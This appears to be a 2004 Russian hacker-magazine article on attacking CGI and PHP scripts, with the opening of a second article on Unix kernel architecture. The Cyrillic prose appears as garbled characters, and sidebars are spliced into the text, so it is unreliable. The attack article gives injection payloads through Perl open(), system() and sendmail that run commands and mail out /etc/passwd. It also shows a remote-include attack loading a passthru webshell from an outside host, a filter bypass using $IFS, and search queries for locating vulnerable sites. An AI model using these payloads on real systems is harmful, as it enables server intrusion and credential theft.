Íà÷íåì ñ ñàìîé ïîïóëÿðíîé

îøèáêè ïðîãðàììèñòîâ. Áàã òàèòñÿ â
ôóíêöèè open(), êîòîðàÿ åñòü â êàæ-
äîì áîëåå-ìåíåå ñåðüåçíîì ñöåíà-
ðèè. Ñóòü îøèáêè ñîñòîèò â ñëåäóþ-
ùåì: ôóíêöèè ïåðåäàåòñÿ èìÿ ôàé-
ëà, êîòîðûé íåîáõîäèìî ïðî÷èòàòü
è âûâåñòè íà ýêðàí. Ñàìî èìÿ ïîñòó-
ïàåò ñ âõîäà CGI-ïîòîêà, òî åñòü çà-
äàåòñÿ óäàëåííûì ïîëüçîâàòåëåì
êàê ïàðàìåòð ñêðèïòà. Âñåì èçâåñò-
íî, ÷òî open() ïîíèìàåò ñèìâîë ïå-
ðåíàïðàâëåíèÿ (ïàéï) "|". Åñëè ýòîò
ñèìâîë âñòðåòèòñÿ ïåðåä èìåíåì
èëè ïîñëå èìåíè, ôóíêöèÿ ïîïûòà-
åòñÿ îáðàòèòüñÿ ê ôàéëó è âûïîë-
íèòü åãî êàê êîìàíäó! Õàêåðó äîñòà-
òî÷íî èçìåíèòü ïàðàìåòð ñêðèïòà
íà êîìàíäó è îáðàìèòü åå âåðòè-
êàëüíûìè ïàëî÷êàìè.

Ðàññìîòðèì ýòî íà íàãëÿäíîì ïðèìå-
ðå. Ïóñòü â ñöåíàðèè þçàåòñÿ ñëåäóþ-
ùèé êîä:

$file=param('file');
open(FILENAME,$file);
while(<FILENAME>) { print }
close(FILENAME);

Ìû âèäèì, ÷òî ïåðåìåííàÿ $file
ïîñòóïàåò ñ ïîòîêîì äàííûõ. Îíà íå
ïðîâåðÿåòñÿ íà íàëè÷èå êàêèõ-ëèáî
ñïåöñèìâîëîâ, ïîýòîìó õàêåð áåç
ïðîáëåì ìîæåò äîáàâèòü â ïåðåìåí-
íóþ ïàðî÷êó ïàéïîâ. Ïðè íåñòàíäà-
ðòíîì çàïðîñå â open() ïîñòóïèò ïå-
ðåìåííàÿ "|id|", êîòîðàÿ âûïîëíèòñÿ
êàê êîìàíäà, à ðåçóëüòàò áóäåò âûâå-
äåí íà ýêðàí. Íå äóìàé, ÷òî ýòèõ
ñêðèïòîâ ìàëî - ïî ñòàòèñòèêå, êàæ-
äûé òðåòèé ñåðâåð ìîæíî àòàêîâàòü
òàêèì òðèâèàëüíûì çàïðîñîì.

SYSTEM() ÏÎÃÓÁÈÒ ÌÈÐ
Êàê èçâåñòíî, ôóíêöèÿ system()

ïðåäíàçíà÷åíà äëÿ âûïîëíåíèÿ ñèñ-
òåìíûõ êîìàíä. Èçðåäêà åå èñïîëüçó-
þò â CGI-ñöåíàðèÿõ, çàïóñêàÿ âíåø-
íèå ïðèëîæåíèÿ. Íè÷åãî ñòðàøíîãî
íå ïðîèñõîäèò, åñëè ñèñòåìíûé çàï-
ðîñ íå ñîäåðæèò ïîëüçîâàòåëüñêèõ
ïàðàìåòðîâ ñêðèïòà. Â ïðîòèâíîì ñëó-
÷àå çëîóìûøëåííèê ìîæåò äîáèòüñÿ
âûïîëíåíèÿ ïðîèçâîëüíîé êîìàíäû.
Ðàññìîòðèì ïðèìåð áàæíîãî êîäà.
Ïðîåêò, èç êîòîðîãî îí ïîçàèìñòâî-
âàí, è ïî ñåé äåíü íàõîäèòñÿ â îíëàé-
íå, åãî êîä óäàëîñü âûöåïèòü ïîñëå
óñïåøíîãî ýêñïëóàòèðîâàíèÿ îøèáêè.

#!/usr/bin/perl
### Simply Perl-Whoiser by XXX.

use CGI qw(:standard);
$host=param('host');
system("whois $host > log");
...

Ïîñëå òîãî êàê ñêðèïò ïîëó÷èë ïàðà-
ìåòð host, îí âûïîëíÿåò system() ñ
ýòîé îïöèåé áåçî âñÿêîé ïðîâåðêè
ñèìâîëîâ. Ñòîèò àòàêóþùåìó ïîäñòà-
âèòü â ïåðåìåííóþ $host (÷èòàé: â ïà-
ðàìåòð ñêðèïòà host) ñèìâîë ';', à çà

íèì ïðîèçâîëüíóþ êîìàíäó, êàê â
ôàéë log ïîìåñòèòñÿ óæå íå îòâåò áè-
íàðíèêà /usr/bin/whois, à êîìàíäà
âçëîìùèêà. Ê ïðèìåðó, çàïðîñ âèäà
http://victim.com/whois.cgi?host=blabla.ru;id ïî-
êàæåò òåêóùåãî ïîëüçîâàòåëÿ (òî åñòü
ïîëüçîâàòåëÿ, ñ ïðàâàìè êîòîðîãî âû-
ïîëíÿþòñÿ CGI-ñêðèïòû íà ñåðâåðå).

SENDMAIL - ÂÐÀÃ ÍÀÐÎÄÀ
ß íå ìîãó íå óïîìÿíóòü ïðî ñòà-

ðûé äîáðûé áàã â âûçîâå sendmail,
êîòîðûé äî ñèõ ïîð ìîæíî îòûñêàòü
â òóõëûõ ñêðèïòàõ. Îøèáêà çàêëþ÷à-
åòñÿ â èñïîëüçîâàíèè îïöèè -t. Ýòîò
ïàðàìåòð ïîçâîëÿåò óêàçûâàòü èìÿ
ïîëó÷àòåëÿ â êîìàíäíîé ñòðîêå.
×àñòî ïðè òàêîì ðàñêëàäå ýòî èìÿ
áåðåòñÿ èç âõîäíûõ äàííûõ CGI-
ñêðèïòà è íå ïðîâåðÿåòñÿ íà ñïåö-
ñèìâîëû. Âîò ôðàãìåíò êîäà óÿçâè-
ìîé ãîñòåâîé êíèãè:

use CGI qw(:standard);
$email=param('email');

open(MAIL,"|/usr/sbin/sendmail -t
$email");

print MAIL "From: admin@victim.com\n";
print MAIL "Subject: Thanks\n\nThank

you!\n";
close(MAIL);

Êàê âèäíî, ïåðåìåííàÿ $email íèêî-
èì îáðàçîì íå ïðîâåðÿåòñÿ, ÷òî ìî-
æåò ïðèâåñòè ê íåæåëàòåëüíûì ïîñ-
ëåäñòâèÿì. Ñòîèò òîëüêî óêàçàòü íà
ñòðàíèöå e-mail â âèäå
lamer@xakep.ru|cat /etc/passwd, è
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ÕÀÊÅÐÑÏÅÖ   10(47)    2004

Â PHP òàê-
æå ìîæíî
ïðîèçâåñòè
àòàêó íà
system().
Äëÿ ýòîãî
íåîáõîäèìî
ïîñòàâèòü
";" ïî êðà-
ÿì ïåðåìåí-
íîé, à ñàìó
ïåðåìåííóþ
ïðåäñòàâèòü
â âèäå êî-
ìàíäû.

Ïî óìîë÷à-
íèþ, äèðåê-
òèâà
allow_url_fo
pen ðàçðå-
øåíà. Ýòî
îçíà÷àåò,
÷òî ôóíê-
öèÿ fopen()
ñïîñîáíà
ïîäãðóçèòü
ëþáîé óäà-
ëåííûé
ñêðèïò.

Ïàðà ïàéïîâ - è êîìàíäà âûïîëíåíà!

ÎÒÛÙÈ È ÂÛÏÎËÍÈ!42 ÂÇËÎÌ



âçëîìùèêó íà ìûëî ïðèäåò ïèñüìî ñ
âëîæåííûì passwd. È âñå ýòî èç-çà
õàëàòíîñòè èëè áåçãðàìîòíîñòè ïðîã-
ðàììèñòà.

×òîáû íå âîçíèêàëî ïîäîáíûõ ñèòó-
àöèé, íóæíî îòêàçàòüñÿ îò êëþ÷èêà -t,
à àäðåñ ïîëó÷àòåëÿ îôîðìëÿòü ïîñëå
âûçîâà sendmail. Òàêæå íåîáõîäèìî
ïðîâåðÿòü âõîäíûå ïåðåìåííûå íà
ïðåäìåò ëèøíèõ ñèìâîëîâ. Âîò ôðàã-
ìåíò êîäà, çàêðûâàþùåãî áàã:

die print "Incorrect address!\n" if
($email=~/[\|;]/ || $email~!/\@/);

open(MAIL,"|/usr/sbin/sendmail");
print MAIL "To: $email\n";
# ...

Î ÁÅÄÍÎÌ INCLUDE 
ÇÀÌÎËÂÈÒÅ ÑËÎÂÎ

Òåïåðü ïîãîâîðèì î PHP-ñöåíàðè-
ÿõ. Â íèõ òàêæå âñòðå÷àþòñÿ ñåðüåç-
íûå îøèáêè. Ñàìîé õèòîâîé èç íèõ
ìîæíî ñ÷èòàòü include-óÿçâèìîñòü.
×àñòî àäìèíèñòðàòîðû âêëþ÷àþò îï-
öèþ register_globals â ïîëîæåíèå On.
Ïðè ýòîì âñå ïàðàìåòðû, ïåðåäàííûå
ñöåíàðèþ, àâòîìàòè÷åñêè èíòåðïðåòè-
ðóþòñÿ â ïåðåìåííûå. Ñ îäíîé ñòîðî-
íû, ýòî î÷åíü óäîáíî: êîäåð ìîæåò
áåç ëèøíèõ ïðîáëåì ïèñàòü ñêðèïòû.
À ñ äðóãîé ñòîðîíû, íèêòî íå ìåøàåò
çëîóìûøëåííèêó âûïîëíèòü ïðîèç-

âîëüíûé ñèñòåìíûé êîä íà ñèñòåìå.
Äëÿ ýòîãî äîñòàòî÷íî ñîçäàòü íå-
áîëüøîé ôàéë megahack.php íà ëþ-
áîì ñåðâåðå (õîòÿ ïîääåðæêè PHP òàì
íåò, â ïðîòèâíîì ñëó÷àå ôàéëó ïðè-
äåòñÿ äàòü äðóãîå ðàñøèðåíèå, òàê
êàê ñ ðàñøèðåíèåì .php ïðè îáðàùå-
íèè ê ôàéëó îí áóäåò èíòåðïðåòèðî-
âàòüñÿ ñåðâåðîì êàê ñêðèïò, à â äàí-
íîé ñèòóàöèè íåîáõîäèìî, ÷òîáû ñåð-
âåð ïðîñòî âûäàë åãî ñîäåðæèìîå) è
ïîäñóíóòü URL ôàéëà óÿçâèìîìó
ñêðèïòó. Ôàéë ìîæåò áûòü òàêèì:

<?php
passthru $cmd
?>

Ôóíêöèÿ include ïîìîãàåò ïîäãðó-
çèòü â ñêðèïò ëþáîé ôàéë (àíàëîãè÷-
íî äèðåêòèâå #include ïðåïðîöåññîðà
â C):

<?php
# ...
include $my_include . '.php';
# ...
?>

Â äàííîì ñëó÷àå ïðîãðàììèñò äàæå
íå ïðåäñòàâëÿåò, ÷òî âìåñòî åãî ëþáè-
ìîãî data.php (åñëè â $my_include õðà-
íèòñÿ ñòðîêà 'data') ìîæåò ïîäãðóçèòü-
ñÿ õàêåðñêèé data.php, íàõîäÿùèéñÿ
íà äàëåêîì óðóãâàéñêîì ñåðâåðå ïî
àäðåñó http://urugwayhost/data.php (ïðàâäà,
äëÿ ýòîãî íåîáõîäèìî, ÷òîáû ó PHP
äèðåêòèâà allow_url_fopen áûëà âêëþ-
÷åíà, íî ÷àùå âñåãî òàê è áûâàåò). Åñ-
ëè âñå óñëîâèÿ âûïîëíåíû, âçëîìùèê
âñòàâëÿåò â çàïðîñ äîïîëíèòåëüíûé
ïàðàìåòð "my_include" è ïðèñâàèâàåò
åìó çíà÷åíèå URL ñâîåãî ñêðèïòà (áåç

".php" íà êîíöå). Íàïðèìåð, çàïðîñ,
âûïîëíÿþùèé êîìàíäó ls, âûãëÿäèò
ñëåäóþùèì îáðàçîì:

http://victim/view.php?my_include=http://
urugwayhost/data&cmd=ls.

Â ñëó÷àå åñëè àäìèí çàïðåòèë îòê-
ðûòèå ññûëîê â fopen(), ìîæíî ñîñòà-
âèòü PHP-êîä è ïîìåñòèòü åãî â êàòà-
ëîã /tmp: äëÿ ýòîãî ñòîèò âîñïîëüçî-
âàòüñÿ FTP èëè äðóãîé óÿçâèìîñòüþ,
ïîçâîëÿþùåé ñîçäàâàòü íà ñåðâåðå
ôàéëû. Â êà÷åñòâå ïàðàìåòðà âçëîì-
ùèê óêàæåò ïóòü ê ëîêàëüíîìó ôàéëó
(íàïðèìåð, /tmp/data).

ÎÒÒßÍÈÑÜ ÏÎ ÏÎËÍÎÉ!
"Íó è ãäå íàéòè âñå ýòî äîáðî?" -

ñïðîñèøü òû. Êîíå÷íî, íà ïîèñêîâè-
êàõ! Íàïðèìåð, ñ ïîìîùüþ Ãóãëà
ìîæíî îòûñêàòü PHP-ñêðèïò, ñîäåð-
æàùèé include-áàã. Äëÿ ýòîãî ìîæíî
âîñïîëüçîâàòüñÿ çàïðîñîì âèäà "file-
type:php file=". Â èòîãå ïîèñêîâèê ïî-
êàæåò âñå PHP-ñöåíàðèè ñ ïåðåìåí-
íîé file. ß óâåðåí, ÷òî äîáðàÿ èõ ïî-
ëîâèíà "áîëååò" include-áàãîì.

Åñëè õî÷åòñÿ íàéòè CGI-ñêðèïò ñ
îøèáêîé â open(), ìîæíî èñïîëüçî-
âàòü êîíñòðóêöèþ "filetype:cgi html"
èëè "filetype:pl html. Â îòâåò ìû ïîëó-
÷èì ìàññó ñöåíàðèåâ ñ ðàñøèðåíèåì
.cgi èëè .pl ñîîòâåòñòâåííî, ïîäêëþ÷à-
þùèõ html-ôàéëû. Èìåííî â íèõ ñî-
äåðæèòñÿ áàæíûé êîä áåç ïðîâåðêè
ïåðåìåííûõ íà íàëè÷èå ïàéïîâ.

Â çàêëþ÷åíèå çàìå÷ó, ÷òî âçëîì ÷å-
ðåç WWW - äåëî òâîð÷åñêîå, ê êàæäî-
ìó ñöåíàðèþ íåîáõîäèì èíäèâèäó-
àëüíûé ïîäõîä. Òîëüêî òîãäà âçëîì-
ùèê ñìîæåò ÷åãî-òî äîáèòüñÿ. Íî íà-
÷èíàòü íàäî ñ ïîèñêà ïðîñòûõ îøèáîê
- áàãîâ â open(), fopen(), system() è
äðóãèõ àíàëîãè÷íûõ ôóíêöèÿõ. Ïîñ-
òèãíóâ àçû, òû ïðîäâèíåøüñÿ äàëåå è
ñìîæåøü àíàëèçèðîâàòü ñêðèïò, äàæå
ïðè îòñóòñòâèè åãî èñõîäíèêîâ. Íóæ-
íî ëèøü ñòðåìëåíèå è îïûò, à îñòàëü-
íîå ïðèëîæèòñÿ. E
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Íè÷òî íå
ìåøàåò õà-
êåðó çàëèòü
ýêñïëîèò
÷åðåç Web,
ïîëó÷èòü
ðóòîâûå
ïðàâà è íà-
ñèëüíî îòê-
ëþ÷èòü ôà-
åðâîë.

Åñëè â
CÈøíîì êî-
äå ïðîãðàì-
ìèñòà çàáî-
òèò ÿâëåíèå
ïåðåïîëíå-
íèÿ áóôåðà,
òî Web-ðàç-
ðàáîò÷èêà â
ïåðâóþ î÷å-
ðåäü äîëæ-
íû âîëíî-
âàòü ïàðà-
ìåòðû, ïå-
ðåäàâàåìûå
CGI-ñöåíà-
ðèþ.

Ïîèñê! Òîëüêî ïîèñê!

Ýêñïëóàòèðîâàíèå system()

Ïèñüìî ñ àêêàóíòàìè

Óÿçâèìûé include ó íîã õàêåðà

Áûâàþò ñëó÷àè, êîãäà êîìàíäà âûïîëíÿåòñÿ, íî ñêðèïò íåùàäíî
îòðåçàåò âñå åå àðãóìåíòû. Ïîëó÷àåòñÿ, ÷òî õàêåð èìååò ïðàâî
âñòàâèòü âñåãî îäíî ñëîâî â çàïðîñ. Èç ýòîé, êàçàëîñü áû, íåèç-
áåæíîé ñèòóàöèè åñòü âûõîä: âìåñòî ïðîáåëà íóæíî ïîäñòàâèòü
ïóñòóþ ïåðåìåííóþ îêðóæåíèÿ $IFS. Òàêèì îáðàçîì, çàïðîñ âèäà
http://victim.com/bug.cgi?file=uname$IFS-aa ñïîñîáåí îáîéòè æåñò-
êóþ ïðîâåðêó.

ÍÅ ÁÎËÜØÅ ÎÄÍÎÃÎ ÑËÎÂÀ!

Îáõîä îãðàíè÷åíèÿ



Åðìîëàåâ Åâãåíèé aka Saturn (saturn@linkin-park.ru)

Ò åáå, íàâåðíîå, ìíîãî ðàç ïðèõîäèëîñü ñëûøàòü, ÷òî ëþáàÿ *nix - ýòî íåêàÿ "èäåàëüíàÿ" ñèñòåìà (â îòëè÷èå îò
Windows), êîòîðàÿ íå çàâèñàåò, íå òîðìîçèò è ò.ä. Òàê ëè ýòî íà ñàìîì äåëå? Ïîñêîëüêó íàäåæíîñòü ëþáîé

îïåðàöèîííîé ñèñòåìû çàâèñèò îò ÿäðà, äàâàé îáðàòèì âíèìàíèå èìåííî íà ýòó ÷àñòü ÎÑ.

ßÄÐÀ - ×ÈÑÒÛÉ
ÈÇÓÌÐÓÄ
«ßÄÅÐÍÛÅ» ÏÐÎÁËÅÌÛ Â *NIX

ëÿ íà÷àëà ñëåäóåò ðà-
çîáðàòüñÿ ñ îñíîâíûìè
ïîíÿòèÿìè *nix-ñèñòåì.
Ýòî î÷åíü âàæíûé ìî-
ìåíò, áåç êîòîðîãî äî-

âîëüíî ñëîæíî ðàçîáðàòüñÿ â ñòðóê-
òóðå ñèñòåìû è ÿäðå. ßäðî ïîëíîñòüþ
ñêðûâàåò ñïåöèôèêó êîìïüþòåðà îò
ïîëüçîâàòåëÿ, íî â òî æå âðåìÿ çàâè-
ñèò îò ýòîé ñïåöèôèêè.

ÎÑÍÎÂÛ
Ïåðâîå, ñ ÷åì íàì ïðåäñòîèò

ñòîëêíóòüñÿ, - ïîíÿòèå ïîëüçîâàòå-
ëÿ. Çäåñü ïîëüçîâàòåëü - ýòî íåêòî
(íå÷òî), èìåþùèé ñâîþ ó÷åòíóþ çà-
ïèñü, ñîñòîÿùóþ èç èìåíè è ïàðîëÿ
è åùå íåêîòîðûõ äàííûõ, íàïðèìåð,
äîìàøíåé äèðåêòîðèè. ßäðî UNIX
"óçíàåò" ïîëüçîâàòåëÿ ïî UID (User
IDentifier) - èäåíòèôèêàòîðó, êîòî-
ðûé ïðåäñòàâëÿåò ñîáîé óíèêàëüíîå
öåëîå ÷èñëî, ïðèñâàåìîå ïðè ðåãèñò-
ðàöèè (àâòîìàòè÷åñêè èëè âðó÷íóþ
àäìèíîì). Ïîëüçîâàòåëü îòíîñèòñÿ ê
íåêîé ãðóïïå, îïðåäåëÿåìîé GID'îì
(Group IDentifier). Àäìèíèñòðàòîðó
ñèñòåìû îòâîäèòñÿ íóëåâîé UID.
Ïîëüçîâàòåëü ñ òàêèì UID íàçûâàåò-
ñÿ root (ðóò). Ýòî íàèáîëåå èíòåðåñ-
íûé ïåðñîíàæ, ïîñêîëüêó îí èìååò
ïîëíûé êîíòðîëü íàä ñèñòåìîé. Èäå-
àëüíûé âàðèàíò èñïîëüçîâàíèÿ êà-
êîé-ëèáî óÿçâèìîñòè äëÿ çàõâàòà
ñèñòåìû � ïîëó÷åíèå ïðàâ ðóòà. 

Ëþáîé ïîëüçîâàòåëü â ïðîöåññå ðà-
áîòû òàê èëè èíà÷å îáðàùàåòñÿ ê
ôàéëàì, è çäåñü íåëüçÿ èçáåæàòü
óïîìèíàíèÿ î ôàéëîâîé ñèñòåìå
(ÔÑ).

ÔÑ ïðèñóùà äðåâîâèäíàÿ ñòðóêòó-
ðà, ñîâåðøåííî íåïðèâû÷íàÿ äëÿ
ïîëüçîâàòåëÿ DOS (Windows). Êîðíå-
âîé êàòàëîã âñåãäà èìååò èìÿ "/". Íî
ýòî íå çíà÷èò, ÷òî â *nix âîçìîæíî èñ-
ïîëüçîâàíèå òîëüêî îäíîãî óñòðîé-
ñòâà äëÿ õðàíåíèÿ èíôîðìàöèè. "Êóñ-
êè" ôàéëîâîãî äåðåâà ñèñòåìû ÷àùå
âñåãî ðàçìåùàþòñÿ íà ðàçíûõ íîñèòå-
ëÿõ, íî ëîãè÷åñêè ýòî îäíà ñèñòåìà.
Êàæäûé çàðåãèñòðèðîâàííûé ïîëüçî-
âàòåëü èìååò òàê íàçûâàåìóþ äîìàø-
íþþ äèðåêòîðèþ. Â íåé ïîëüçîâàòåëü
- öàðü è áîã :). Òåîðåòè÷åñêè þçåð ìî-

æåò ïîëó÷èòü äîñòóï êî âñåì ôàéëàì
â ñèñòåìå. Íî òàêîé äîñòóï îãðàíè÷åí
ïîñðåäñòâîì ïðèâèëåãèé. Â îòëè÷èå
îò MS-DOS ó ÔÑ *nix îòñóòñòâóåò òà-
êîå ïîíÿòèå, êàê ðàñøèðåíèå ôàéëà
(èìÿ ôàéëà ìîæåò ñîäåðæàòü òî÷êó
íàðàâíå ñ äðóãèìè äîïóñòèìûìè ñèì-
âîëàìè).

Êðîìå òîãî, äëÿ ôàéëîâûõ ñèñòåì
*nix õàðàêòåðíà çàùèòà èíôîðìàöèè
â ôàéëàõ è òðàêòîâêà ïåðèôåðèéíûõ
óñòðîéñòâ êàê ôàéëîâ.

ÀÐÕÈÒÅÊÒÓÐÀ
"ÒÐÀÄÈÖÈÎÍÍÎÃÎ" ßÄÐÀ

Â *nix åñòü ÿäðî, êîòîðîå óïðàâëÿ-
åò ðåñóðñàìè êîìïüþòåðà è ïðåäîñ-
òàâëÿåò ïîëüçîâàòåëÿì íåêèé îãðàíè-
÷åííûé íàáîð óñëóã. Ìû áóäåì ðàñ-
ñìàòðèâàòü UNIX TimeSharing System
V ("òðàäèöèîííûé" UNIX), ïîñêîëüêó
íà åå îñíîâå ïîñòðîåíî áîëüøèíñòâî
ñîâðåìåííûõ êëîíîâ UNIX. Íà÷íåì ñ
òîãî, ÷òî UNIX - íåçàâèñèìàÿ îò ïëàò-
ôîðìû ñèñòåìà. Äëÿ åå ðàáîòû íà êà-
êîé-ëèáî ìàøèíå äîñòàòî÷íî ëèøü
çàíîâî ñêîìïèëèðîâàòü êîìïîíåíòû
(íàïèñàííûå íà C). Çäåñü ñòîèò çàìå-
òèòü, ÷òî åäèíñòâåííûé êîìïîíåíò, êî-
òîðûé âñå åùå çàâèñèò îò àïïàðàòíîé
÷àñòè, - ýòî ÿäðî. 

Íî â ðåçóëüòàòå ðàçäåëåíèÿ àïïà-
ðàòíî-çàâèñèìûõ è àïïàðàòíî-íåçàâè-
ñèìûõ êîìïîíåíòîâ ÿäðà ðàçðàáîò÷è-
êàì óäàëîñü äîáèòüñÿ òîãî, ÷òî áîëü-
øàÿ ÷àñòü ÿäðà ìîæåò áûòü ïåðåíåñå-
íà íà ëþáóþ ïëàòôîðìó. 

Îñòàåòñÿ ìàëàÿ, íî àïïàðàòíî-çàâè-
ñèìàÿ ÷àñòü, êîòîðàÿ âêëþ÷àåò ñëåäó-
þùèå êîìïîíåíòû: 

- çàïóñê è èíèöèàëèçàöèÿ ñèñòåìû
íà íèçêîì óðîâíå;

- ïåðâè÷íàÿ îáðàáîòêà âíóòðåííèõ è
âíåøíèõ ïðåðûâàíèé;

- óïðàâëåíèå ïàìÿòüþ;
- ïåðåêëþ÷åíèå ìåæäó ðåæèìàìè

ïîëüçîâàòåëÿ è ÿäðà;
- ÷àñòè äðàéâåðîâ, ñâÿçàííûå ñ îñî-

áåííîñòÿìè àïïàðàòóðû.
Êàê âèäíî, â çàâèñèìîé ÷àñòè îñòà-

ëîñü ëèøü íåáîëüøîå ÷èñëî ôóíê-
öèé, êîòîðûå ïåðåïèñûâàþò ïðè ïåðå-
íîñå ÎÑ íà äðóãóþ ïëàòôîðìó.

Äàâàé òåïåðü ðàññìîòðèì îñíîâ-
íûå ôóíêöèè è ïîäñèñòåìû ÿäðà.
Ïðè âêëþ÷åíèè âûïîëíÿåòñÿ èíèöè-
àëèçàöèÿ ñèñòåìû. Ýòà ôóíêöèÿ çà-
íèìàåòñÿ çàïóñêîì è ðàñêðóòêîé.
Ñðåäñòâî ðàñêðóòêè çàãðóæàåò ïîë-
íîå ÿäðî â ïàìÿòü è çàïóñêàåò ñèñòå-
ìó. Ñëåäóþùàÿ ôóíêöèÿ - óïðàâëå-
íèå ïàìÿòüþ, êîòîðàÿ îòîáðàæàåò
âèðòóàëüíóþ ïàìÿòü ïðîöåññîâ â
îïåðàòèâêó. Êðîìå òîãî, ýòîò êîìïî-
íåíò îáåñïå÷èâàåò èñïîëüçîâàíèå
îäíèõ è òåõ æå îáëàñòåé îïåðàòèâêè
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Ýëåìåíò ôàéëîâîé ñèñòåìû

Àðõèòåêòóðà UNIX â î÷åíü óïðîùåííîì
âèäå

«ßÄÐÀ - ×ÈÑÒÛÉ ÈÇÓÌÐÓÄ»44 ÂÇËÎÌ



äëÿ ðàçíûõ ïðîöåññîâ ñ èñïîëüçîâà-
íèåì âíåøíèõ íîñèòåëåé. Îñíîâíû-
ìè ïîäñèñòåìàìè ÿäðà ÿâëÿþòñÿ ïîä-
ñèñòåìà óïðàâëåíèÿ ôàéëàìè è ïîä-
ñèñòåìà óïðàâëåíèÿ ïðîöåññàìè. Îñ-
òàíîâèìñÿ íà íèõ ïîïîäðîáíåå, ïîñ-
êîëüêó ýòè ñèñòåìû ÿâëÿþòñÿ îñíîâ-
íûì èñòî÷íèêîì óÿçâèìîñòåé ÿäðà.

Ïîäñèñòåìà óóïðàâëåíèÿ ôôàéëàìè
Â UNIX êàæäîìó ôàéëó â ñîîòâåò-

ñòâèå ñòàâèòñÿ íåêèé èíäåêñ, â êîòî-
ðîì ñîäåðæàòñÿ îïèñàíèå ðàçìåùå-
íèÿ èíôîðìàöèè íà ôèçè÷åñêîì íî-
ñèòåëå, ïðàâà äîñòóïà, âëàäåëåö è
äðóãèå äàííûå. Êàæäûé ôàéë èìååò
òîëüêî îäèí èíäåêñ. Êîãäà ïðîöåññ
îáðàùàåòñÿ ê ôàéëó ïî èìåíè, ÿäðî
âîçâðàùàåò èíäåêñ ôàéëà. Òî åñòü
êàæäîå èìÿ ÿâëÿåòñÿ óêàçàòåëåì.

Èíäåêñû õðàíÿòñÿ â ôàéëîâîé ñèñ-
òåìå, îäíàêî ïðè ðàáîòå ñ ôàéëîì ÿä-
ðî çàíîñèò èõ â òàáëèöó èíäåêñîâ, êî-
òîðàÿ íàõîäèòñÿ â ÎÇÓ. Êðîìå òàáëè-
öû èíäåêñîâ, ÿäðî èñïîëüçóåò åùå
äâå èíôîðìàöèîííûå ñòðóêòóðû: òàá-
ëèöó ôàéëîâ è òàáëèöó äåñêðèïòîðîâ
ôàéëà. Ïîëüçîâàòåëü ìîæåò ïîëó-
÷èòü äîñòóï ê ôàéëîâûì äåñêðèïòî-
ðàì è ðàñêðûòü èíôîðìàöèþ. 

Èòàê, îñíîâíûå êîìïîíåíòû ôàéëî-
âîé ñèñòåìû:

- Áëîê çàãðóçêè. Ðàñïîëàãàåòñÿ â íà-
÷àëå ôàéëîâîé ñèñòåìû è ñîäåðæèò
ïðîãðàììó íà÷àëüíîé çàãðóçêè.

- Ñóïåðáëîê. Çäåñü îáîçíà÷àþòñÿ
ñâîéñòâà ôàéëîâîé ñèñòåìû: ðàçìåð,
ðàñïîëîæåíèå ñâîáîäíîãî ïðîñòðàí-
ñòâà, êîëè÷åñòâî ôàéëîâ è äðóãàÿ èí-
ôîðìàöèÿ.

- Ñïèñîê èíäåêñîâ. Ðàçìåð ñïèñêà
óêàçûâàåòñÿ àäìèíèñòðàòîðîì ïðè ãå-
íåðàöèè ôàéëîâîé ñèñòåìû.

- Èíôîðìàöèîííûå áëîêè. Ñîäåðæàò
äàííûå ôàéëîâ, à òàêæå ñëóæåáíûå
äàííûå. Èíôîðìàöèîííûé áëîê ìî-
æåò ïðèíàäëåæàòü òîëüêî îäíîìó
ôàéëó.

Ïîäñèñòåìà óóïðàâëåíèÿ ïïðîöåññàìè
Ïîñëå òîãî êàê çàãðóçêà ÿäðà âûïîë-

íåíà, íóæíî êàê-òî ñîçäàâàòü, çàâåð-
øàòü è ñëåäèòü çà ñóùåñòâóþùèìè
ïðîöåññàìè è íèòÿìè (çäåñü íèòü - ýòî

"ïðîöåññ", âûïîëíÿåìûé íà îáùåé
âèðòóàëüíîé ïàìÿòè). Ýòèì çàíèìàåò-
ñÿ ôóíêöèÿ óïðàâëåíèÿ ïðîöåññàìè è
íèòÿìè. Ââèäó ìóëüòèïðîöåññîðíîñòè
*nix ÿäðî îáåñïå÷èâàåò ðàçäåëåíèå
ïðîöåññîðíîãî âðåìåíè èëè ïðîöåñ-
ñîðîâ, ÷òî ñîçäàåò ýôôåêò ïàðàë-
ëåëüíîñòè âûïîëíåíèÿ ðàçíûõ çàäà÷.
ßäðî � ýòî íåâûãðóæàåìûé êîìïîíåíò,
è ïîýòîìó ïðîöåññ, âûïîëíÿþùèéñÿ â
ðåæèìå ÿäðà, ïðîäîëæàåò ñâîå âû-
ïîëíåíèå äî òåõ ïîð, ïîêà íå âåðíåò-
ñÿ â ðåæèì çàäà÷è ëèáî ïîêà íå ïå-
ðåéäåò â ñîñòîÿíèå «ñíà». Áëàãîäàðÿ
íåâûãðóæàåìîñòè ÿäðî îáåñïå÷èâàåò
öåëîñòíîñòü èíôîðìàöèîííûõ ñòðóê-
òóð è ñòàáèëüíîñòü ðàáîòû.

Êðîìå îáîçíà÷åííûõ ïîäñèñòåì, ñó-
ùåñòâóþò òàêæå êîììóíèêàöèîííûå
ñðåäñòâà, êîòîðûå îòâå÷àþò çà îáåñ-
ïå÷åíèå îáìåíà äàííûìè. Íó è çàìû-
êàþùåé ôóíêöèåé ÿâëÿåòñÿ ïðîãðàì-
ìíûé èíòåðôåéñ, êîòîðûé äåëàåò âîç-
ìîæíûì äîñòóï ê ÿäðó èç áîëåå âûñî-
êîãî óðîâíÿ (ñî ñòîðîíû ïîëüçîâà-
òåëüñêèõ ïðîöåññîâ).

ÃÎÐÅ ÎÒ ÓÌÀ, ÈËÈ ÏÐÎÁËÅÌÛ
"ÈÄÅÀËÜÍÎÉ" ÀÐÕÈÒÅÊÒÓÐÛ

Êàê âèäíî èç âûøåñêàçàííîãî, àð-
õèòåêòóðà ÎÑ â öåëîì è àðõèòåêòóðà
ÿäðà â ÷àñòíîñòè - ýòî ñòðîéíàÿ, õîðî-
øî ïðîäóìàííàÿ ñèñòåìà âçàèìîäåé-
ñòâèÿ êîìïîíåíòîâ. Îäíàêî íåñìîòðÿ
íà ýòî ëþáàÿ *nix - óÿçâèìàÿ ñèñòåìà.
Â òîì ÷èñëå è íà ñàìîì íèæíåì óðîâ-
íå � ÿäðå. Îäíà èç îñíîâíûõ ïðè÷èí
óÿçâèìîñòåé ÿäðà � âîçðàñò ÎÑ. Ñ îä-
íîé ñòîðîíû, êëîíû ýòîé îïåðàöèîí-
íîé ñèñòåìû ñòàíîâÿòñÿ ïîïóëÿðíåå
äåíü îòî äíÿ â òå÷åíèå 25 ëåò, è ýòî
óíèêàëüíûé ñëó÷àé! Êðîìå òîãî, íà
